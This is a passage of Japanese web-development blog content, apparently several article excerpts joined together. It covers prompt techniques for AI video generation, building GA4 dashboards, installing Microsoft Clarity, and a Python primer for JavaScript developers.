原因は書いた言葉の性質にあります。「ミニマル」「控えめ」「滑らか」は強度を下げる方向の形容詞ばかりで、映像として何を起こすかを1つも指定していません。粒子が「ゆっくり右へ流れる」以外に、カメラの動き・光の質・レンズの性格に関する記述がゼロでした。AIは書かれていない部分を平均的な無難さで埋めるので、結果も平均的な無難さに着地します。 結果を変えた3つの原則 6本を通して効いたのは次の3点です。順に見ていきます。 1. カメラ・レンズ・光を必ず指定する 被写体だけを書くと壁紙になります。撮影の条件を書くと映像になります。1本目に足りなかったのはここでした。2本目以降は、被写体の記述と同じ分量だけカメラワーク・レンズ・ライティングを書いています。 要素使った語効果カメラワークslow dramatic dolly-in（ゆっくり寄る）10秒の中に起承転結が生まれる光volumetric god rays（体積光）空気が可視化され奥行きが出る光anamorphic lens flares横に伸びる映画的なフレアレンズ35mm anamorphic lens被写界深度と歪みが映画寄りになる質感subtle film grainデジタル臭さが抜ける色deep navy and electric cyan color gradeカラーグレーディングとして解釈される これらは映像制作の現場語です。「かっこよく」ではなく「どう撮るか」を書いている点が本質で、AIに解釈の余地を残しません。 2. 動作は1つに絞る これが最も効きました。失敗したダンス動画では、振付を3つ並べています。 Fluid hip-hop choreography: sharp isolations, smooth body waves, a controlled spin, full body kept in frame. アイソレーション、ボディウェーブ、回転の3つです。結果はどれも実行されず、その場での体重移動と、8秒目に一度後ろを向いただけで終わりました。3つ指定して3つとも消えたことになります。 成功したほうは1つだけ書いています。 One simple continuous action: she raises both arms above her head and spins around once, smiling brightly. One simple continuous action（ひとつの単純な連続動作）と宣言してから、腕を上げて一回転する、とだけ書きました。これで最後まで踊りきります。振付を盛るほど密度が上がるのではなく、盛るほど何も起きなくなるという逆の関係になっています。 3. 被写体を動かしたいときはカメラを止める 失敗した1本目のダンスでは handheld camera slowly orbiting around her（手持ちカメラが周回する）と書いていました。成功した2本目では camera locked off on a tripod, completely static, no camera movement at all（三脚固定・完全に静止）に変えています。 カメラが動いていると、被写体が静止していても画面は変化し続けます。つまりカメラの動きが被写体の動きの代役を果たしてしまう状態です。カメラを止めると、画面に変化を作れるのは被写体の動きだけになるので、動かさざるを得なくなります。人物や動物を動かしたいときは、カメラを止めるほうが結果的に動きます。 フレーム単位で見た、失敗と成功の差 印象論にならないよう、2本を同じ方法で分解しました。失敗したほうを1秒刻みで追うと、10秒間の中身はこうなっています。 秒1本目（失敗）2本目（成功）0〜1.5秒その場で軽い体重移動立って微笑む（助走）2〜2.5秒ほぼ変化なし両腕を左右に開く3〜4秒ほぼ変化なし両腕を頭上へ上げる4.5〜6.5秒静止回転。髪が水平に流れスカートが広がる7〜8.5秒後ろを向く回転を終えて腕を下ろす9〜9.5秒正面に戻り脚を開く正面に戻り笑顔で締め 成功したほうは、回転中に髪が遠心力で水平まで流れ、スカートが広がり、6.5秒以降にゆっくり戻ります。物理的な破綻がありません。裸足の足の運びも自然でした。 音声にも差が出ました。成功したほうは0秒が-55.1dBとほぼ無音で、動きのピークである4秒で-16.4dBまで上がり、8秒で-23.6dBに落ちます。動きの山と音の山が一致しており、後付けのBGMではなく映像と一緒に設計されていることが分かります。 題材によって、指示の通りやすさが違う 6本を題材別に並べると、はっきりした傾向が出ました。 題材指示の再現度備考大自然の風景高い破綻を検知される対象がない抽象CG・UI高い指定した英単語まで描けたアニメ調の人物高い表情・口の開閉まで反映実写の動物中〜高二足歩行と発話が成立実写の人物（動作あり）条件つき動作を1つに絞れば成立する 風景が最も安定するのは、崩れたと判定できる対象が画面にないからです。人間の関節、手の指、文字のように「少しの狂いが致命的になる要素」が一切ありません。次の動画は10秒間、尾根を越えて谷が開けていくドローンショットが一貫して成立しています。 ▶ 尾根を越えて谷を見せるドローンショット（クリックで再生） 逆に実写の人物が最も難しいのは、見る側が破綻に気づきやすいためです。関節の角度や重心が少しでも狂うと不自然に見えるので、モデルは安全な方向、つまり動かさない方向に倒れます。1本目のダンスで動きが消えたのはこれが理由だと考えられます。 一方でアニメ調は、元々デフォルメされている分だけ許容範囲が広く、大きな動きや表情変化を出しても成立します。次の動画では、指定した「高音で目を閉じる」がそのまま反映されました。 ▶ アニメ調の歌唱シーン（クリックで再生。プレーヤーの音量アイコンで歌が聞けます） この動画は音量と口の開き方を突き合わせると対応が見えます。0〜1秒が-19.9dBで口は閉じ気味、9〜10秒が-14.4dBで大きく開いて目を閉じる。音量が上がるほど口が大きく開くという関係になっていました。ただし厳密には音素レベルのリップシンクではなく、盛り上がりの一致にとどまります。 外れた予想①：AI動画は文字を描けない 検証中に予想を2つ外しました。記録として残しておきます。 1つ目は文字です。AI動画は文字が苦手というのは広く知られた弱点で、実際に別の動画では判読できないダミー文字が出ていました。そこでロゴやタグラインは後からAfter Effects等で重ねるのが現実解だと結論づけたのですが、これは誤りでした。 次のプロンプトで、指定した綴りどおりの文字が出ました。 Final 3 seconds: every panel dissolves into drifting particles and the screen falls into darkness, then one single word appears centered on screen, spelled D-I-R-E-B-A-S-E, reading DIREBASE, in clean bold uppercase sans-serif letters glowing electric cyan. No other text or letters anywhere in the frame. ▶ 8.2秒からロゴが出現する（クリックで再生） 効いたと考えられるのは2点です。 ### [GA4のダッシュボード機能の使い方｜＋作成ボタンと6種のグラフ](https://codequest.work/ga4-dashboard-guide/) GA4 のダッシュボードは、必要な数字だけを 1 ページに集めた自分専用のレポート画面です。レポート左側のナビゲーション最上部にある「＋作成」から作成でき、スコアカードや折れ線グラフをドラッグ＆ドロップで並べて組み立てます。Google アナリティクス ヘルプ「Google アナリティクス ダッシュボードについて」は「カスタム ビジュアリゼーションを作成して、データからアクションにつながる分析情報をすばやく抽出できます。これらはすべて、1 つのページに集約して表示されます」と説明しています。 GA4 の標準レポートは項目が決まっていて動かせず、探索（データ探索）は自由度が高いぶん毎回組み直す手間がかかります。「毎朝この 5 つの数字だけ見たい」という用途に対して、前者は余計なものが多く、後者は重い。かといって Looker Studio を立てるほどでもない——この中間が長らく空いていました。ダッシュボードはちょうどそこに入る機能です。 この記事では、実際に 1 枚のダッシュボードを組み立てながら、「＋作成」の場所、6 種類のグラフの選び分け、ファネルの作り方、保存したものが誰に見えるのか、そして Looker Studio との線引きまでを順に確認します。筆者が 2026 年 9 月 2 日に実機で操作した内容をもとにしており、仕様は Google アナリティクス ヘルプの記載で裏づけています。GA4 をそもそもどう入れるかは GA4 直接埋め込みと GTM 経由の比較 を参照してください。 GA4 のダッシュボードとは — 1 画面に必要な数字だけを集める ダッシュボードは、GA4 が前から持っている「レポートを自作する仕組み」に追加された新しい型です。Looker Studio のような別サービスではなく、GA4 の中で完結します。作成メニューを開くと、次の 3 つが並びます。 種類性格ダッシュボードグラフを自由に配置する 1 ページ。今回の主役詳細レポートディメンション × 指標の表を軸にした従来型のレポート概要レポート要約カードを並べる従来型のサマリー 詳細レポートと概要レポートは以前から作れました。今回増えたのはダッシュボードという 3 つ目の型と、ライブラリの奥ではなくナビゲーション最上部に置かれた入口です。Google アナリティクスの公式 LinkedIn アカウントも 2026 年 8 月下旬に「レポート内の『＋作成』ボタンを軸にレポート作業スペースを再設計した」と告知しています。 標準レポート・探索との違い 標準レポートダッシュボード探索項目の変更ほぼ固定自由に配置自由組み立ての手間不要数分都度必要セグメント使えない未対応使える向く用途ひととおり眺める決まった数字を毎日見る仮説を掘る ダッシュボードは探索の代わりにはなりません。セグメントが使えないため、「初回訪問ユーザーだけ」といった切り口で掘る作業は引き続き探索の仕事です。ダッシュボードが引き受けるのは、毎回同じ数字を、開いた瞬間に見るという定点観測のほうです。 どこにあるのか — レポート左ナビの「＋作成」 入口は 1 か所だけです。GA4 にログインし、左端のアイコンからレポートを開くと、レポート一覧が並ぶ左側のナビゲーションが表示されます。その最上部に「＋作成」ボタンがあります。押すとダッシュボード・詳細レポート・概要レポートの 3 つが出るので、ダッシュボードを選びます。 「レポートのスナップショット」や「リアルタイムの概要」といった項目よりさらに上にあります。ここに何も無いプロパティもあります。その場合の確認手順は後半で扱います。 選ぶと、方眼紙のような空のキャンバスが開きます。上部に「グラフを追加」「フィルタを追加」と期間指定、右側にデータパネル（使えるディメンションと指標の検索窓）が並びます。カードを選択すると、右パネルはグラフエディタに切り替わります。この 2 つが入れ替わる作りだと分かると、以降の操作は迷いません。 使えるグラフと、その選び分け 「グラフを追加」を押すと、6 種類が縦に並びます。棒グラフだけは横棒と縦棒でアイコンが分かれているため、メニュー上の選択肢は 7 つに見えます。Google アナリティクス ヘルプの説明と、実際に使ってみた印象を並べます。 グラフヘルプの説明置きどころスコアカード主要な KPI を概要レベルで表示最上段。まず見る数字を横一列に表グラフ陰影付きの棒グラフやページネーションに対応した詳細レポートページ別・クエリ別など一覧が要る場所折れ線グラフ指標の推移を視覚化。日・週・月の粒度に対応増えているのか減っているのかを見る棒グラフ横棒または縦棒でディメンションを比較チャネル別・デバイス別の大小比較ドーナツグラフ全体に対する各部分の割合を視覚化構成比。要素が少ないときだけファネルグラフコンバージョン プロセスをモニタリングし、離脱ポイントを特定どこで落ちているかを見る 実際に触って分かったことがひとつあります。置けるのはグラフだけで、説明文やテキストボックスは追加できません。メニューに並ぶのは前述の 6 種類のみで、見出しやメモを差し込む要素は用意されていません。「この数字が下がったら誰に連絡する」といった運用ルールをダッシュボード内に書き添えることはできないので、そこは別の場所で管理することになります。 【手順】ダッシュボードを 1 枚組み立てる 実際に組んでみます。題材は SEO 診断ツールのサイトで、「毎朝ひと目で見たい数字」を集める構成にしました。上段にスコアカード、その下に推移とチャネル、さらに下にページ別の表と構成比という並びです。 1. スコアカードで主要な数字を置く 「グラフを追加」からスコアカードを選ぶと、アクティブ ユーザーのカードが左上に置かれます。右パネルのグラフエディタで指標欄をクリックし、検索して入れ替えます。同じ手順を繰り返して、アクティブ ユーザー・セッション・キーイベントの 3 枚を横一列に並べました。 どの指標を置くか迷ったら、まず言葉の定義をそろえておくほうが早いです。セッションとアクティブ ユーザーとエンゲージメント率が実際に何を数えているかは Web マーケティング用語の公式定義 で整理しています。 2. 折れ線で推移を見る（指標は 2 つ載る） 折れ線を追加すると、なぜかページパス別の 5 本線のグラフが出てきます。これはディメンションが自動で入っているためです。単純な推移が見たいだけなら、グラフエディタのディメンション欄の「×」で外します。外した瞬間に 1 本線になり、カードのタイトルも「アクティブ ユーザーの推移」に変わります。 さらに「指標を追加」でセッションを足すと 2 本線になり、タイトルは「アクティブ ユーザーおよびセッションの推移」へ自動で変わります。カードのタイトルは自分で書くのではなく、中身から自動生成されます。指標を変えるたびに追随するので、命名を気にせず組めます。 3. 棒グラフでチャネル別に比べる 横棒グラフを追加し、ディメンションを「セッションのメインのチャネル グループ」、指標を「セッション」に変えます。チャネル名は文字数が多いので、縦棒より横棒のほうがラベルが読めます。ここで Direct・Organic Search に混じって「AI Assistant」が並ぶのが今どきの GA4 です。 4. 表でページ別に掘る 表グラフはディメンションにページパス、指標にアクティブ ユーザーと表示回数を入れて2 列にしました。表だけは他と違う設定項目を持っています。 1 ページあたりの行数 — 既定は 10 行。ページ送りで先を見る 検索バーを表示 — 既定でオン。カード内に検索窓が出て、閲覧者がその場で絞り込める 合計行を表示 — 既定でオフ。全体の合計が必要なら入れる カード内の検索窓は地味ですが効きます。「/blog/ だけ見たい」といった絞り込みを、ダッシュボードを離れずにできます。 5. ドーナツで構成比を見る ドーナツはディメンションをデバイス カテゴリにしました。固有の設定はスライスの数（既定 10）だけです。要素が多いと読めなくなるので、デバイスや性別のように 2〜4 種類しかないものに使うのが無難です。今回は desktop 92%・mobile 8% と出ました。 ファネルだけは作り方が違う ファネルグラフだけは、ディメンションと指標を選ぶ他のグラフとは操作がまったく違います。追加すると、いきなりe コマース向けの 4 ステップが入った状態で出てきます。決済手続きの開始 → お支払い方法の追加 → 配送情報の追加 → 購入、という並びです。 物販サイトでなければ、この初期値は使えません。グラフエディタの「ステップ」右側にある鉛筆アイコンから編集画面を開いて組み替えます。開くと分かりますが、これは探索のファネルデータ探索とほぼ同じ画面です。イベント条件、AND / OR、「次の間接的ステップ」、パラメータの追加、時間制約まで揃っています。探索でファネルを作ったことがあれば、そのまま同じ感覚で操作できます。 今回は診断ツールのサイトなので、次のように組み替えました。 ステップイベント結果サイト訪問session_start364（100%）診断ツールを実行tool_used8.4%診断結果を閲覧seo_result_view—会員登録sign_up6.7% 訪問した人のうちツールを実際に使うのは 1 割弱、という現実がひと目で出ます。組み替え自体は数分で終わりました。なお「ファネルをオープンにする」というトグルがあり、既定はオフ（クローズド ファネル）です。オフのままだとステップ 1 を通った人だけが対象になり、オンにすると途中のステップから入った人も数えます。どちらが正しいかは見たいものによります。 ここでつまずいた点を書いておきます。ステップ名の入力欄には既定のラベル（「決済手続きの開始」など）が最初から入っています。クリックしてそのまま打つと、既存の文字の途中にカーソルが入り「決済手続きのサイト訪問開始」のような文字列になります。入力欄を全選択してから打ち直す必要があります。筆者は 2 回やり直しました。 保存と公開 — 誰に見えるのか 右上の「保存」を押すと、「新しいマイレポートとして保存」というダイアログが出ます。名前と説明を入れ、「コレクションで公開する」にチェックを入れてコレクションを選ぶと、左側のナビゲーションに項目として並びます。ヘルプも「ダッシュボードを保存する際、ライブラリを経由せずに左側のナビゲーションへ直接公開できます」と書いています。 公開すると誰に見えるのか。ここが一番よく聞かれるところですが、答えははっきりしています。Google アナリティクス ヘルプは「ダッシュボードを作成して公開するには、編集者または管理者のロールが必要です。ただし、プロパティへのアクセス権を持つユーザーであれば、公開されたダッシュボードを閲覧できます」と記載しています。 公開する公開しない左ナビへの表示出る出ない見える人プロパティにアクセス権のある全員ライブラリを開ける人外部への共有できないできない つまり「公開」と言っても外に出るわけではありません。GA4 のレポートには URL 共有や埋め込みの仕組みがないため、公開範囲の上限はあくまでプロパティのユーザー一覧です。社外に見せたいなら Looker Studio 側の仕事になります。 閲覧者は指標を切り替えられる（ただし保存はされない） グラフエディタに「コンセプト選択ツール」というトグルがあります。これをオンにしておくと、公開後のダッシュボードでカードのタイトル横に「▼」が出て、閲覧している人が自分で指標を切り替えられます。編集権限は要りません。 他の人の画面まで変わってしまうのか気になったので確かめました。 ### [Microsoft Clarityの導入と使い方｜ヒートマップで直す手順](https://codequest.work/microsoft-clarity-guide/) Microsoft Clarity（マイクロソフト クラリティ）は、Microsoft が無料で提供しているアクセス解析ツールです。ページのどこがクリックされ、どこまでスクロールされたかをヒートマップで可視化し、実際の訪問者がどう操作したかをセッション録画として再生できます。 GA4 は「何人来て、どのページで離脱したか」までは教えてくれますが、「なぜ離脱したか」は教えてくれません。ボタンを見つけられていないのか、見つけたうえで押さなかったのか、押しているのに反応していないのか——数字だけを見ていると、この 3 つはどれも同じ「離脱」として集計されます。ヒートマップとセッション録画は、その内訳を目で確かめるための道具です。 この記事では、WordPress サイトに Clarity を入れて運用に乗せるまでを、設置 → 検証 → 解読の順で解説します。GTM 経由での設置手順、入れたあとに本当に計測できているかをブラウザの開発者ツールで確かめる方法、入力欄を守るマスキング設定、ダッシュボードの数値を改善につなげる読み方までを扱います。GA4 側をどう構成するかは GA4 直接埋め込みと GTM 経由の比較 をあわせて参照してください。 Microsoft Clarity とは — 無料で使えるヒートマップとセッション録画 Clarity は、サイトに 1 本のタグを入れるだけで、訪問者の操作を記録・可視化してくれるツールです。GA4 のように「イベントを設計してから計測する」のではなく、設置した時点でクリック・スクロール・マウス移動が自動で記録される点が最大の違いです。 Clarity で見られるもの ヒートマップ — ページ単位で、クリック位置・スクロール到達率・注目エリアを色で可視化する セッション録画（レコーディング） — 個々の訪問者の操作を動画のように再生する ダッシュボード — レイジクリック・デッドクリックなど「うまくいっていない操作」を自動で集計する セグメント／フィルタ — デバイス・流入元・訪問ページなどで絞り込んで比較する GA4 が「何回起きたか」を数える道具だとすれば、Clarity は「どう起きたか」を見る道具です。両方を入れて、数字で異常を見つけ、録画で原因を確かめる、という使い方が基本になります。 料金と制限 Clarity は無料で提供されています。Microsoft の公式サイトには「永久に無料です。ビジネスの成長に合わせて構築します。トラフィックに制限はありません。」と明記されており、月間のページビュー数に応じた課金や、無料枠を超えると計測が止まるといった上限は設けられていません。個人ブログのような小規模サイトでも、機能を絞られることなく使えます。 記録の上限もあります。1 プロジェクトあたり 1 日 10 万セッションまで、ヒートマップは 1 枚あたり 10 万ページビューまでが上限です。計測そのものにサンプリングはかかりませんが、1 日 10 万セッションを超えると録画の保存側でサンプリングが発生します。個人サイトや中小規模のサイトで到達する数字ではありません。なお、18 歳未満を対象としたサイトでの利用は公式に禁止されています。 データが消えるまでの期間 無料である代わりに、データはあまり長く残りません。Microsoft の公式ドキュメントによると、保持期間は次のとおりです。 データ保持期間セッション録画30 日ヒートマップ・集計データ9 か月ラベルを付けた録画・お気に入りの録画9 か月 30 日を過ぎても残る録画は、お気に入りやラベルを付けたものと、自動的に抽出されるサンプル（全録画の 1% または 1 日 10 件のいずれか多いほう）に限られます。保持期間を過ぎたデータはバックアップを含めて削除され、復元できません。 ここから導かれる運用上の鉄則は 1 つです。気になる録画を見つけたら、その場でラベルを付けてください。「あとでまとめて見よう」と放置すると、翌月には消えています。一方でヒートマップは 9 か月残るので、施策の前後比較に使えるのはこちらです。 日本語で使えるか 公式サイトは日本語化されており、ブラウザの言語設定が日本語であれば日本語のページが表示されます。機能紹介やプライバシー関連の説明も日本語で読めるため、英語のドキュメントを読み解かないと導入できない、という状態にはなっていません。 ヒートマップで分かる 3 種類のデータ 「ヒートマップ」と一括りにされますが、Clarity が出すのは性質の違う 3 種類のマップです。それぞれ答えられる問いが違うので、見たいものに合わせて切り替えます。 種類何が分かるか使いどころクリックマップページ内のどの要素が、何回クリックされたか。要素ごとのクリック数と全体に占める割合CTA ボタンが押されているか。押されていない飾りがリンクだと誤解されていないかスクロールマップ訪問者が縦方向にどこまで到達したか（到達率）重要な情報や CTA が「そもそも読まれない位置」に置かれていないかエリアマップ指定した範囲ごとのクリック割合をまとめて比較ナビゲーション・カード一覧・記事末など、ブロック単位でどこが強いか 最初に見るべきはスクロールマップです。クリックされていない原因の多くは「押されなかった」ではなく「そこまで到達していなかった」で、これはクリックマップだけを見ていても分かりません。 見る前に必要な母数の目安 ヒートマップは、母数が少ないと 1 人の動きが色として強く出てしまい、偶然を傾向と読み違えます。判断に使うなら、そのページ単体で数百セッションは溜めてから見るのが安全です。公開直後のページや流入の少ない下層ページは、まず母数が溜まるのを待ちます。 母数が溜まらないページを見たいときは、ヒートマップではなくセッション録画を数本見るほうが早く手がかりが得られます。統計として読むのではなく、1 人の詰まり方を観察する使い方に切り替えるということです。 GA4 との違いと使い分け — 「数」と「動き」を分担させる Clarity は GA4 の代わりではありません。GA4 が異常を数字で見つけ、Clarity がその原因を目で確かめる、という役割分担で使うと噛み合います。片方だけで運用しようとすると、どちらも中途半端になります。 観点GA4Microsoft Clarity主に測るものセッション数・ユーザー数・イベント数・流入経路・コンバージョン1 セッションごとの操作（クリック位置・スクロール・マウス移動）計測の準備イベントとコンバージョンを設計してから計測するタグを置いた時点で自動的に記録が始まる答えられる問いどのページで、どれだけ、どこから落ちているかそのページで具体的に何が起きて落ちたか個票の閲覧個人単位のセッションは追えないセッション録画で 1 人ぶんの操作を再生できる期間の比較長期の推移・前年比を見るのに向く直近の状態を見るのに向く 実務では「GA4 で離脱率の高いページを特定する → そのページを Clarity のヒートマップで開く → 怪しい箇所をセッション録画で確認する」という順番になります。GA4 側が正しく計測できているかどうかの確認手順は GA4 設置後の動作確認 にまとめています。 GA4 と連携させると何ができるか Clarity には GA4 プロパティを接続する機能があります。接続すると、GA4 のデータ（オーディエンス概要・集客レポート・人気ページ・国別セッション・デバイス別セッション）がClarity 内の専用ダッシュボードに表示され、そこから該当するセッション録画やヒートマップへ直接ドリルダウンできるようになります。GA4 側にも「Clarity Playback URL」というカスタムディメンションが追加されます。 ただし制約もあります。GA4 で作ったセグメントは連携に対応しておらず、Clarity 内の GA ダッシュボードではフィルタやセグメントを適用できません。接続できるのは 1 プロジェクトにつき 1 プロパティまでです。「GA4 のセグメントをそのまま録画で見る」という使い方はできないと理解しておいてください。 設置方法を決める — GTM 経由・テーマ直接・プラグイン Clarity の設置方法は 3 通りあります。どれを選んでも計測されるデータは同じなので、そのサイトで今後どれだけタグが増えるかで決めるのが妥当です。 方法向いているケース注意点GTM 経由GA4・広告タグなど、すでに複数のタグを GTM で管理しているコンテナの公開操作を忘れると反映されない。GTM 自体の設置が前提テーマに直接記述GTM を使っておらず、タグが Clarity だけで完結するテーマ更新で消えないよう子テーマに書く。タグが増えると保守が破綻する公式プラグインコードを触りたくない。WordPress の管理画面だけで完結させたいプラグインが 1 つ増える。配布元は Microsoft 自身で、有効インストールは 20 万件以上 すでに GA4 を GTM 経由で運用しているなら、迷わず GTM 経由にします。同じコンテナに載せておけば、あとで停止・除外条件の変更をするときにサイトへ触らずに済みます。2 方式のメリット・デメリットは GA4 直接埋め込み vs GTM 経由 で詳しく比較しています。 【手順】GTM 経由で Clarity を設置する すでに GTM を導入しているサイトなら、コミュニティテンプレートを使って管理画面の操作だけで設置できます。サイトのコードには一切触りません。 Clarity にサインインし、対象サイトのプロジェクトを作成する。サイト URL と業種を登録すると、そのプロジェクト専用のプロジェクト IDが発行される Clarity の設定画面でインストール方法として GTM を選び、発行されたプロジェクト ID を控える GTM の管理画面で「タグ」→「新規」→ タグの設定 →「コミュニティ テンプレート ギャラリー」を開き、「Microsoft Clarity - Official」を追加する タグの設定欄に、控えたプロジェクト ID を入力する トリガーに「All Pages（全ページビュー）」を指定する 「公開」を実行する。GTM は保存しただけでは本番に反映されない 手順 6 の公開忘れが最も多い失敗です。GTM のプレビューモードでは動いているのに本番で計測されない場合、ほぼこれが原因なので、まずワークスペースに未公開の変更が残っていないかを確認してください。 タグの読み込み順とパフォーマンス Clarity のタグはページの表示をブロックしない形で読み込まれますが、GTM コンテナの中に何本タグが載っているかによって、体感の重さは変わります。コンテナ自体の設置位置とパフォーマンスの関係は GTM タグを head 上部に設置するべき理由 で整理しています。GA4 をこれから GTM 経由に寄せる場合は WordPress で GA4 を GTM 経由に移行する方法 の手順が使えます。 【手順】WordPress に直接入れる場合 GTM を使っていないサイトでは、公式プラグインを入れるか、テーマから直接スクリプトを出力します。 公式プラグインを使う Microsoft が配布している WordPress 用プラグインを使うと、管理画面にプロジェクト ID を入力するだけで設置が完了します。コードを触らずに済むぶん、テーマを変更しても設定が残るのが利点です。プラグインのスラッグは microsoft-clarity で、WordPress.org の公開情報によると有効インストール数は 20 万件以上、最終更新は 2026 年 8 月 28 日と、現在も更新が続いています。 ### [Python入門｜Web制作者が最短で書けるようになる基礎とできること](https://codequest.work/python-basics-guide/) Pythonとは、少ないコードで読みやすく書ける汎用プログラミング言語のことで、データ収集・ファイル処理・業務の自動化・AI開発まで、ブラウザの外側の作業を幅広く担当します。HTML・CSS・JavaScriptでサイトを作れる人にとっては、「画面の外の作業」を自分の手に取り戻すための言語だと考えると位置づけがはっきりします。 ところが、Pythonの入門記事の多くはプログラミング完全未経験者に向けて書かれています。変数とは何か、繰り返しとは何かという説明から始まるため、JavaScriptで変数もループも関数も書いてきた人にとっては遠回りになります。知りたいのは「変数とは」ではなく、「let は何になるのか」「forEach に当たるものは何か」という差分のはずです。 この記事では、Pythonで何ができるのかを用途別に整理したうえで、JavaScriptとの構文の違いを対比表で示し、基礎文法を6つの練習問題で確認します。環境構築でつまずかないよう、インストールなしでブラウザだけで実行できる練習アプリも用意しました。サーバー側の全体像から知りたい方は バックエンドとは？サーバー・DB・APIの全体像 を先に読むと、Pythonがどの位置にある技術なのかが掴みやすくなります。 Python練習アプリ Pythonとは？JavaScriptを書ける人の視点で捉え直す Pythonは1991年に登場した汎用プログラミング言語です。設計思想として読みやすさを重視しており、同じ処理を書いたときのコード量が他の言語より少なくなる傾向があります。この「読みやすさ優先」という性格が、後述するインデントの規則にそのまま表れています。 JavaScriptとの最大の違いは実行される場所です。JavaScriptはブラウザという実行環境が最初から用意されていて、HTMLに書けばその場で動きます。一方Pythonにはブラウザに当たる標準の入れ物がなく、自分のパソコンやサーバーに実行環境を用意して動かします。逆に言えば、ブラウザの外で起きること全部がPythonの担当範囲です。 利用状況も確認しておきます。Stack Overflow Developer Survey 2025によると、この設問に回答した31,771人のうちPythonを使っていると答えた割合は57.9%で全体の4位、JavaScriptは66%で1位でした。同調査ではPythonが2024年から2025年にかけて7ポイント上昇したと報告されており、伸び幅の大きい言語でもあります。 Web制作者がPythonを学ぶ意味は、キャリアチェンジではありません。フロントは書けるが、その手前と後ろが空白になっている状態を埋めることです。競合サイトの見出しを100件集める、納品前に画像を一括でリサイズする、アクセスログを月次で集計する。こうした「毎回手でやっている作業」が、Pythonでは十数行のコードになります。 Pythonでできること Pythonでできることは幅広いのですが、Web制作の仕事に近い順で並べると優先順位がはっきりします。JavaScriptでも代替できるかどうかを併記したので、「わざわざ別の言語を覚える価値があるか」を判断する材料にしてください。 できること具体例JavaScriptでも可能かWebスクレイピング競合サイトの見出し・価格の収集可能（Puppeteer等）だが記述量が多い画像・ファイルの一括処理数百枚のリサイズ・圧縮・リネーム可能だがPythonの方が短い業務データの集計CSV・Excelの読み書きと自動集計不得意（Excel操作の資産が少ない）API連携・定期実行外部サービスの取得と自動投稿可能（得意分野）Webアプリ開発Django・Flaskでの管理画面や業務システム可能（Node.js・Next.js）AI・機械学習画像分類・自然言語処理・データ分析ほぼ不可能（ライブラリがPython前提） サイトのデータを集める（スクレイピング） Webページを取得して、必要な部分だけ抜き出す処理です。競合調査で「上位10サイトのh1をすべて集める」といった作業が、手作業からコードに変わります。requestsでページを取得し、BeautifulSoupで要素を選ぶのが定番の組み合わせです。CSSセレクタがそのまま使えるので、Web制作者にとっては入りやすい分野です。 ただし取得先サイトの利用規約と robots.txt を必ず確認してください。アクセス間隔を空けずに大量取得すると相手のサーバーに負荷をかけます。技術的にできることと、やってよいことは別です。 画像やファイルを一括で処理する 納品前に「幅1200pxに揃えて、WebPに変換して、連番でリネームする」といった作業です。1枚ずつ画像編集ソフトで開くと数時間かかる処理が、Pillowというライブラリを使えば数十行で終わります。フォルダ内のファイルを順に処理する書き方さえ覚えれば、対象が画像でもPDFでもテキストでも同じ形で応用できます。 CSV・Excelの集計を自動化する アクセス解析のエクスポート、問い合わせフォームの受信データ、広告の実績レポート。Web制作の周辺には表形式のデータが大量にあります。pandasを使うと、複数ファイルの読み込み・結合・集計・並び替えが数行で書けます。この領域はJavaScriptに同等の資産がなく、Pythonを選ぶ理由がはっきりしている分野です。 AI・機械学習を扱う 画像分類、文章の分類や要約、数値予測といった処理です。この分野の主要なライブラリはPythonを前提に作られており、他の言語からは扱いにくいのが実情です。生成AIのAPIを呼ぶだけならJavaScriptでも書けますが、モデルを自分で学習させたりデータを前処理したりする段階になるとPythonが必要になります。AIを「使う側」から「組み込む側」に回りたい場合の必須言語だと考えてください。 JavaScriptとPythonの違いを構文で見る ここが本記事の中心です。JavaScriptを書ける人がPythonを覚えるとき、必要なのは概念の学習ではなく書き方の置き換えです。よく使うものを並べて対応させます。 やりたいことJavaScriptPython変数の宣言let name = "太郎";name = "太郎"文字列に変数を埋める`${name}さん`f"{name}さん"条件分岐if (x > 5) { }if x > 5:そうでなければelse ifelif回数の繰り返しfor (let i = 0; i < 5; i++)for i in range(5):配列・リスト[1, 2, 3] / push()[1, 2, 3] / append()オブジェクト・辞書{ name: "太郎" }{"name": "太郎"}関数の定義function f(x) { return x; }def f(x): のあとに return x要素数arr.lengthlen(arr)真偽値true / falseTrue / False値がないことnull / undefinedNoneかつ・または・否定&& / || / !and / or / notコメント// コメント# コメント インデントがブロックを決める JavaScript経験者が最初に戸惑うのがこれです。JavaScriptでは波かっこがブロックの範囲を決め、インデントは見た目を整えるためのものでした。Pythonではインデントそのものが構文で、ずれると意味が変わるかエラーになります。 // JavaScript：波かっこが範囲を決める if (score >= 80) { console.log("合格"); } # Python：コロンと字下げが範囲を決める if score >= 80: print("合格") 字下げは半角スペース4つが標準です。エディタの設定でタブとスペースが混ざると、見た目は同じでもエラーになります。VS Codeを使っているなら、Pythonファイルを開いたときに画面右下が「スペース: 4」になっているかを確認しておくと事故が減ります。 セミコロンと変数宣言のキーワードがない Pythonには let も const も var もありません。名前に値を代入した時点で変数が生まれます。行末のセミコロンも不要です。書けばエラーにはなりませんが、Pythonらしい書き方ではないので付けません。 宣言キーワードがないぶん、「再代入できない定数」を言語のしくみとしては作れません。慣習として、変更しない値は MAX_COUNT のように大文字で書いて「触らない約束」を示します。const に慣れているとゆるく感じますが、Pythonはこうした部分を書き手の合意に任せる設計です。 命名規則がsnake_caseになる JavaScriptでは userName のようなcamelCaseが標準でしたが、Pythonでは user_name のようにアンダースコアで区切るsnake_caseが標準です。動作には影響しませんが、他人のコードを読むときや自分のコードを読んでもらうときに揃っていないと違和感が出ます。ファイル名も同様にsnake_caseで付けます。 Pythonを動かす環境を用意する 環境構築は入門者が最も脱落しやすい場所です。結論から言うと、最初はインストールせずにブラウザで書き始めてかまいません。文法を確かめる段階でパスやバージョンの問題に時間を取られるのは、学習の順序として非効率です。 まずブラウザで試す（インストール不要） 本記事の練習問題は、この記事の最後にあるPython練習アプリでそのまま実行できます。コードを書いて実行ボタンを押すと、その場で出力とエラーが表示されます。インストールもアカウント登録も要りません。文法を覚える段階では、この形が最短です。 自分のパソコンに入れる ファイルを扱ったり外部ライブラリを使ったりする段階になったら、Python公式サイトのダウンロードページからインストールします。2026年8月時点の最新版は3.14系です。バージョンは頻繁に上がるので、細かい番号を追うより「3系の新しいものを入れる」と考えておけば十分です。 macOS：python.orgの公式インストーラを使う。システムに最初から入っているPythonはOSが使うものなので触らない Windows：公式インストーラの最初の画面で「Add python.exe to PATH」に必ずチェックを入れる。これを忘れるとコマンドが見つからない 入ったかどうかはターミナル（Windowsはコマンドプロンプト）で確認します。 python3 --version # 